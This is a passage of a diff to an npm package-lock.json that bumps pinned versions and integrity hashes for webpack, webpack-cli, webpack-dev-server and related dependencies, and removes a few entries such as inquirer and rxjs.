"dev": true
},
- "ua-parser-js": {
- "version": "0.7.18",
- "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz",
- "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA=="
- },
"uglify-js": {
"version": "2.8.29",
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz",
@@ -15612,7 +15604,7 @@
"serialize-javascript": "1.5.0",
"source-map": "0.6.1",
"uglify-es": "3.3.9",
- "webpack-sources": "1.1.0",
+ "webpack-sources": "1.3.0",
"worker-farm": "1.6.0"
},
"dependencies": {
@@ -15647,11 +15639,21 @@
"dev": true
},
"uncontrollable": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-4.1.0.tgz",
- "integrity": "sha1-4DWCkSUuGGUiLZCTmxny9J+Bwak=",
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-5.1.0.tgz",
+ "integrity": "sha512-5FXYaFANKaafg4IVZXUNtGyzsnYEvqlr9wQ3WpZxFpEUxl29A3H6Q4G1Dnnorvq9TGOGATBApWR4YpLAh+F5hw==",
"requires": {
- "invariant": "2.2.2"
+ "invariant": "2.2.4"
+ },
+ "dependencies": {
+ "invariant": {
+ "version": "2.2.4",
+ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
+ "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
+ "requires": {
+ "loose-envify": "1.3.1"
+ }
+ }
}
},
"union-value": {
@@ -15690,18 +15692,18 @@
}
},
"unique-filename": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz",
- "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
+ "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
"dev": true,
"requires": {
- "unique-slug": "2.0.0"
+ "unique-slug": "2.0.1"
}
},
"unique-slug": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz",
- "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.1.tgz",
+ "integrity": "sha512-n9cU6+gITaVu7VGj1Z8feKMmfAjEAQGhwD9fE3zvpRRa0wEIx8ODYkVGfSc94M2OX00tUFV8wH3zYbm1I8mxFg==",
"dev": true,
"requires": {
"imurmurhash": "0.1.4"
@@ -15825,9 +15827,9 @@
"dev": true
},
"url-loader": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.0.tgz",
- "integrity": "sha512-p/+44Z+yHoQVV6VKsgZuHi7UfvaKhJqucXvKQtsVQYyzaSC8KVdoXjIM5TToZxarq9WB+qIhMVTZr1v7bENKdg==",
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz",
+ "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==",
"dev": true,
"requires": {
"loader-utils": "1.1.0",
@@ -15865,7 +15867,7 @@
"integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==",
"dev": true,
"requires": {
- "querystringify": "2.0.0",
+ "querystringify": "2.1.0",
"requires-port": "1.0.0"
}
},
@@ -15972,7 +15974,7 @@
"value-equal": {
"version": "0.4.0",
"resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz",
- "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c="
+ "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw=="
},
"vary": {
"version": "1.1.2",
@@ -16267,7 +16269,7 @@
"dev": true,
"optional": true,
"requires": {
- "nan": "2.10.0",
+ "nan": "2.11.1",
"node-pre-gyp": "0.10.0"
},
"dependencies": {
@@ -16294,21 +16296,19 @@
"dev": true,
"optional": true,
"requires": {
- "delegates": "^1.0.0",
- "readable-stream": "^2.0.6"
+ "delegates": "1.0.0",
+ "readable-stream": "2.3.6"
}
},
"balanced-match": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "1.0.0",
"concat-map": "0.0.1"
@@ -16328,8 +16328,7 @@
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
@@ -16375,7 +16374,7 @@
"dev": true,
"optional": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.2.4"
}
},
"fs.realpath": {
@@ -16390,14 +16389,14 @@
"dev": true,
"optional": true,
"requires": {
- "aproba": "^1.0.3",
- "console-control-strings": "^1.0.0",
- "has-unicode": "^2.0.0",
- "object-assign": "^4.1.0",
- "signal-exit": "^3.0.0",
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wide-align": "^1.1.0"
+ "aproba": "1.2.0",
+ "console-control-strings": "1.1.0",
+ "has-unicode": "2.0.1",
+ "object-assign": "4.1.1",
+ "signal-exit": "3.0.2",
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1",
+ "wide-align": "1.1.2"
}
},
"glob": {
@@ -16406,12 +16405,12 @@
"dev": true,
"optional": true,
"requires": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"has-unicode": {
@@ -16426,7 +16425,7 @@
"dev": true,
"optional": true,
"requires": {
- "safer-buffer": "^2.1.0"
+ "safer-buffer": "2.1.2"
}
},
"ignore-walk": {
@@ -16444,8 +16443,8 @@
"dev": true,
"optional": true,
"requires": {
- "once": "^1.3.0",
- "wrappy": "1"
+ "once": "1.4.0",
+ "wrappy": "1.0.2"
}
},
"inherits": {
@@ -16477,7 +16476,6 @@
"version": "3.0.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"brace-expansion": "1.1.11"
}
@@ -16492,8 +16490,8 @@
"bundled": true,
"dev": true,
"requires": {
- "safe-buffer": "^5.1.1",
- "yallist": "^3.0.0"
+ "safe-buffer": "5.1.1",
+ "yallist": "3.0.2"
}
},
"minizlib": {
@@ -16502,7 +16500,7 @@
"dev": true,
"optional": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.2.4"
}
},
"mkdirp": {
@@ -16525,9 +16523,9 @@
"dev": true,
"optional": true,
"requires": {
- "debug": "^2.1.2",
- "iconv-lite": "^0.4.4",
- "sax": "^1.2.4"
+ "debug": "2.6.9",
+ "iconv-lite": "0.4.21",
+ "sax": "1.2.4"
}
},
"node-pre-gyp": {
@@ -16536,16 +16534,16 @@
"dev": true,
"optional": true,
"requires": {
- "detect-libc": "^1.0.2",
- "mkdirp": "^0.5.1",
- "needle": "^2.2.0",
- "nopt": "^4.0.1",
- "npm-packlist": "^1.1.6",
- "npmlog": "^4.0.2",
- "rc": "^1.1.7",
- "rimraf": "^2.6.1",
- "semver": "^5.3.0",
- "tar": "^4"
+ "detect-libc": "1.0.3",
+ "mkdirp": "0.5.1",
+ "needle": "2.2.0",
+ "nopt": "4.0.1",
+ "npm-packlist": "1.1.10",
+ "npmlog": "4.1.2",
+ "rc": "1.2.7",
+ "rimraf": "2.6.2",
+ "semver": "5.5.0",
+ "tar": "4.4.1"
}
},
"nopt": {
@@ -16580,10 +16578,10 @@
"dev": true,
"optional": true,
"requires": {
- "are-we-there-yet": "~1.1.2",
- "console-control-strings": "~1.1.0",
- "gauge": "~2.7.3",
- "set-blocking": "~2.0.0"
+ "are-we-there-yet": "1.1.4",
+ "console-control-strings": "1.1.0",
+ "gauge": "2.7.4",
+ "set-blocking": "2.0.0"
}
},
"number-is-nan": {
@@ -16602,7 +16600,7 @@
"bundled": true,
"dev": true,
"requires": {
- "wrappy": "1"
+ "wrappy": "1.0.2"
}
},
"os-homedir": {
@@ -16645,10 +16643,10 @@
"dev": true,
"optional": true,
"requires": {
- "deep-extend": "^0.5.1",
- "ini": "~1.3.0",
- "minimist": "^1.2.0",
- "strip-json-comments": "~2.0.1"
+ "deep-extend": "0.5.1",
+ "ini": "1.3.5",
+ "minimist": "1.2.0",
+ "strip-json-comments": "2.0.1"
},
"dependencies": {
"minimist": {
@@ -16665,13 +16663,13 @@
"dev": true,
"optional": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"rimraf": {
@@ -16680,7 +16678,7 @@
"dev": true,
"optional": true,
"requires": {
- "glob": "^7.0.5"
+ "glob": "7.1.2"
}
},
"safe-buffer": {
@@ -16723,9 +16721,9 @@
"bundled": true,
"dev": true,
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
},
"string_decoder": {
@@ -16734,7 +16732,7 @@
"dev": true,
"optional": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
},
"strip-ansi": {
@@ -16742,7 +16740,7 @@
"bundled": true,
"dev": true,
"requires": {
- "ansi-regex": "^2.0.0"
+ "ansi-regex": "2.1.1"
}
},
"strip-json-comments": {
@@ -16757,13 +16755,13 @@
"dev": true,
"optional": true,
"requires": {
- "chownr": "^1.0.1",
- "fs-minipass": "^1.2.5",
- "minipass": "^2.2.4",
- "minizlib": "^1.1.0",
- "mkdirp": "^0.5.0",
- "safe-buffer": "^5.1.1",
- "yallist": "^3.0.2"
+ "chownr": "1.0.1",
+ "fs-minipass": "1.2.5",
+ "minipass": "2.2.4",
+ "minizlib": "1.1.0",
+ "mkdirp": "0.5.1",
+ "safe-buffer": "5.1.1",
+ "yallist": "3.0.2"
}
},
"util-deprecate": {
@@ -16778,7 +16776,7 @@
"dev": true,
"optional": true,
"requires": {
- "string-width": "^1.0.2"
+ "string-width": "1.0.2"
}
},
"wrappy": {
@@ -16912,9 +16910,9 @@
}
},
"nan": {
- "version": "2.10.0",
- "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz",
- "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==",
+ "version": "2.11.1",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz",
+ "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==",
"dev": true,
"optional": true
}
@@ -16930,17 +16928,16 @@
}
},
"webpack": {
- "version": "4.16.5",
- "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.16.5.tgz",
- "integrity": "sha512-i5cHYHonzSc1zBuwB5MSzW4v9cScZFbprkHK8ZgzPDCRkQXGGpYzPmJhbus5bOrZ0tXTcQp+xyImRSvKb0b+Kw==",
+ "version": "4.20.2",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.20.2.tgz",
+ "integrity": "sha512-75WFUMblcWYcocjSLlXCb71QuGyH7egdBZu50FtBGl2Nso8CK3Ej+J7bTZz2FPFq5l6fzCisD9modB7t30ikuA==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/helper-module-context": "1.5.13",
- "@webassemblyjs/wasm-edit": "1.5.13",
- "@webassemblyjs/wasm-opt": "1.5.13",
- "@webassemblyjs/wasm-parser": "1.5.13",
- "acorn": "5.7.1",
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/helper-module-context": "1.7.8",
+ "@webassemblyjs/wasm-edit": "1.7.8",
+ "@webassemblyjs/wasm-parser": "1.7.8",
+ "acorn": "5.7.3",
"acorn-dynamic-import": "3.0.0",
"ajv": "6.5.2",
"ajv-keywords": "3.2.0",
@@ -16948,7 +16945,7 @@
"enhanced-resolve": "4.1.0",
"eslint-scope": "4.0.0",
"json-parse-better-errors": "1.0.2",
- "loader-runner": "2.3.0",
+ "loader-runner": "2.3.1",
"loader-utils": "1.1.0",
"memory-fs": "0.4.1",
"micromatch": "3.1.10",
@@ -16956,10 +16953,10 @@
"neo-async": "2.5.2",
"node-libs-browser": "2.1.0",
"schema-utils": "0.4.7",
- "tapable": "1.0.0",
+ "tapable": "1.1.0",
"uglifyjs-webpack-plugin": "1.3.0",
"watchpack": "1.6.0",
- "webpack-sources": "1.1.0"
+ "webpack-sources": "1.3.0"
},
"dependencies": {
"arr-diff": {
@@ -17256,26 +17253,31 @@
"snapdragon": "0.8.2",
"to-regex": "3.0.2"
}
+ },
+ "tapable": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.0.tgz",
+ "integrity": "sha512-IlqtmLVaZA2qab8epUXbVWRn3aB1imbDMJtjB3nu4X0NqPkcY/JH9ZtCBWKHWPxs8Svi9tyo8w2dBoi07qZbBA==",
+ "dev": true
}
}
},
"webpack-cli": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.0.tgz",
- "integrity": "sha512-p5NeKDtYwjZozUWq6kGNs9w+Gtw/CPvyuXjXn2HMdz8Tie+krjEg8oAtonvIyITZdvpF7XG9xDHwscLr2c+ugQ==",
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.2.tgz",
+ "integrity": "sha512-Cnqo7CeqeSvC6PTdts+dywNi5CRlIPbLx1AoUPK2T6vC1YAugMG3IOoO9DmEscd+Dghw7uRlnzV1KwOe5IrtgQ==",
"dev": true,
"requires": {
"chalk": "2.4.1",
"cross-spawn": "6.0.5",
"enhanced-resolve": "4.1.0",
"global-modules-path": "2.3.0",
- "import-local": "1.0.0",
- "inquirer": "6.1.0",
+ "import-local": "2.0.0",
"interpret": "1.1.0",
"loader-utils": "1.1.0",
- "supports-color": "5.4.0",
+ "supports-color": "5.5.0",
"v8-compile-cache": "2.0.2",
- "yargs": "12.0.1"
+ "yargs": "12.0.2"
},
"dependencies": {
"ansi-regex": {
@@ -17307,15 +17309,9 @@
"requires": {
"ansi-styles": "3.2.1",
"escape-string-regexp": "1.0.5",
- "supports-color": "5.4.0"
+ "supports-color": "5.5.0"
}
},
- "chardet": {
- "version": "0.5.0",
- "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.5.0.tgz",
- "integrity": "sha512-9ZTaoBaePSCFvNlNGrsyI8ZVACP2svUtq0DkM7t4K2ClAa96sqOIRjAzDTc8zXzFt1cZR46rRzLTiHFSJ+Qw0g==",
- "dev": true
- },
"cliui": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz",
@@ -17333,9 +17329,9 @@
"integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
"dev": true,
"requires": {
- "nice-try": "1.0.4",
+ "nice-try": "1.0.5",
"path-key": "2.0.1",
- "semver": "5.5.0",
+ "semver": "5.5.1",
"shebang-command": "1.2.0",
"which": "1.3.0"
}
@@ -17349,15 +17345,19 @@
"xregexp": "4.0.0"
}
},
- "external-editor": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.1.tgz",
- "integrity": "sha512-e1neqvSt5pSwQcFnYc6yfGuJD2Q4336cdbHs5VeUO0zTkqPbrHMyw2q1r47fpfLWbvIG8H8A6YO3sck7upTV6Q==",
+ "execa": {
+ "version": "0.10.0",
+ "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz",
+ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==",
"dev": true,
"requires": {
- "chardet": "0.5.0",
- "iconv-lite": "0.4.23",
- "tmp": "0.0.33"
+ "cross-spawn": "6.0.5",
+ "get-stream": "3.0.0",
+ "is-stream": "1.1.0",
+ "npm-run-path": "2.0.2",
+ "p-finally": "1.0.0",
+ "signal-exit": "3.0.2",
+ "strip-eof": "1.0.0"
}
},
"find-up": {
@@ -17375,34 +17375,19 @@
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
- "iconv-lite": {
- "version": "0.4.23",
- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz",
- "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==",
- "dev": true,
- "requires": {
- "safer-buffer": "2.1.2"
- }
+ "invert-kv": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
+ "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==",
+ "dev": true
},
- "inquirer": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.1.0.tgz",
- "integrity": "sha512-f9K2MMx/G/AVmJSaZg2a+GVLRRmTdlGLbwxsibNd6yNTxXujqxPypjCnxnC0y4+Wb/rNY5KyKuq06AO5jrE+7w==",
+ "lcid": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
+ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
"dev": true,
"requires": {
- "ansi-escapes": "3.1.0",
- "chalk": "2.4.1",
- "cli-cursor": "2.1.0",
- "cli-width": "2.2.0",
- "external-editor": "3.0.1",
- "figures": "2.0.0",
- "lodash": "4.17.10",
- "mute-stream": "0.0.7",
- "run-async": "2.3.0",
- "rxjs": "6.2.2",
- "string-width": "2.1.1",
- "strip-ansi": "4.0.0",
- "through": "2.3.8"
+ "invert-kv": "2.0.0"
}
},
"loader-utils": {
@@ -17426,6 +17411,28 @@
"path-exists": "3.0.0"
}
},
+ "mem": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz",
+ "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==",
+ "dev": true,
+ "requires": {
+ "map-age-cleaner": "0.1.2",
+ "mimic-fn": "1.2.0",
+ "p-is-promise": "1.1.0"
+ }
+ },
+ "os-locale": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz",
+ "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==",
+ "dev": true,
+ "requires": {
+ "execa": "0.10.0",
+ "lcid": "2.0.0",
+ "mem": "4.0.0"
+ }
+ },
"p-limit": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz",
@@ -17456,19 +17463,10 @@
"integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
"dev": true
},
- "rxjs": {
- "version": "6.2.2",
- "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.2.2.tgz",
- "integrity": "sha512-0MI8+mkKAXZUF9vMrEoPnaoHkfzBPP4IGwUYRJhIRJF6/w3uByO1e91bEHn8zd43RdkTMKiooYKmwz7RH6zfOQ==",
- "dev": true,
- "requires": {
- "tslib": "1.9.3"
- }
- },
"semver": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz",
- "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==",
+ "version": "5.5.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
+ "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
"dev": true
},
"strip-ansi": {
@@ -17481,25 +17479,25 @@
}
},
"supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
"has-flag": "3.0.0"
}
},
"yargs": {
- "version": "12.0.1",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.1.tgz",
- "integrity": "sha512-B0vRAp1hRX4jgIOWFtjfNjd9OA9RWYZ6tqGA9/I/IrTMsxmKvtWy+ersM+jzpQqbC3YfLzeABPdeTgcJ9eu1qQ==",
+ "version": "12.0.2",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz",
+ "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==",
"dev": true,
"requires": {
"cliui": "4.1.0",
"decamelize": "2.0.0",
"find-up": "3.0.0",
"get-caller-file": "1.0.3",
- "os-locale": "2.1.0",
+ "os-locale": "3.0.1",
"require-directory": "2.1.1",
"require-main-filename": "1.0.1",
"set-blocking": "2.0.0",
@@ -17522,7 +17520,7 @@
},
"webpack-dev-middleware": {
"version": "2.0.6",
- "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz",
+ "resolved": "http://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz",
"integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==",
"dev": true,
"requires": {
@@ -17536,39 +17534,39 @@
}
},
"webpack-dev-server": {
- "version": "3.1.5",
- "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.5.tgz",
- "integrity": "sha512-LVHg+EPwZLHIlfvokSTgtJqO/vI5CQi89fASb5JEDtVMDjY0yuIEqPPdMiKaBJIB/Ab7v/UN/sYZ7WsZvntQKw==",
+ "version": "3.1.9",
+ "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.9.tgz",
+ "integrity": "sha512-fqPkuNalLuc/hRC2QMkVYJkgNmRvxZQo7ykA2e1XRg/tMJm3qY7ZaD6d89/Fqjxtj9bOrn5wZzLD2n84lJdvWg==",
"dev": true,
"requires": {
"ansi-html": "0.0.7",
- "array-includes": "3.0.3",
"bonjour": "3.5.0",
"chokidar": "2.0.4",
"compression": "1.7.3",
"connect-history-api-fallback": "1.5.0",
- "debug": "3.1.0",
+ "debug": "3.2.6",
"del": "3.0.0",
"express": "4.16.3",
"html-entities": "1.2.1",
"http-proxy-middleware": "0.18.0",
- "import-local": "1.0.0",
- "internal-ip": "1.2.0",
+ "import-local": "2.0.0",
+ "internal-ip": "3.0.1",
"ip": "1.1.5",
- "killable": "1.0.0",
+ "killable": "1.0.1",
"loglevel": "1.6.1",
- "opn": "5.3.0",
- "portfinder": "1.0.16",
- "selfsigned": "1.10.3",
+ "opn": "5.4.0",
+ "portfinder": "1.0.17",
+ "schema-utils": "1.0.0",
+ "selfsigned": "1.10.4",
"serve-index": "1.9.1",
"sockjs": "0.3.19",
"sockjs-client": "1.1.5",
"spdy": "3.4.7",
"strip-ansi": "3.0.1",
- "supports-color": "5.4.0",
- "webpack-dev-middleware": "3.1.3",
- "webpack-log": "1.2.0",
- "yargs": "11.0.0"
+ "supports-color": "5.5.0",
+ "webpack-dev-middleware": "3.4.0",
+ "webpack-log": "2.0.0",
+ "yargs": "12.0.2"
},
"dependencies": {
"ansi-regex": {
@@ -17628,6 +17626,12 @@
}
}
},
+ "camelcase": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
+ "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=",
+ "dev": true
+ },
"chokidar": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz",
@@ -17671,13 +17675,43 @@
}
}
},
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "cross-spawn": {
+ "version": "6.0.5",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
+ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
"dev": true,
"requires": {
- "ms": "2.0.0"
+ "nice-try": "1.0.5",
+ "path-key": "2.0.1",
+ "semver": "5.5.1",
+ "shebang-command": "1.2.0",
+ "which": "1.3.0"
+ }
+ },
+ "debug": {
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.1"
+ },
+ "dependencies": {
+ "ms": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+ "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
+ "dev": true
+ }
+ }
+ },
+ "decamelize": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz",
+ "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==",
+ "dev": true,
+ "requires": {
+ "xregexp": "4.0.0"
}
},
"del": {
@@ -17694,6 +17728,21 @@
"rimraf": "2.6.2"
}
},
+ "execa": {
+ "version": "0.10.0",
+ "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz",
+ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==",
+ "dev": true,
+ "requires": {
+ "cross-spawn": "6.0.5",
+ "get-stream": "3.0.0",
+ "is-stream": "1.1.0",
+ "npm-run-path": "2.0.2",
+ "p-finally": "1.0.0",
+ "signal-exit": "3.0.2",
+ "strip-eof": "1.0.0"
+ }
+ },
"expand-brackets": {
"version": "2.1.4",
"resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
@@ -17855,12 +17904,12 @@
}
},
"find-up": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
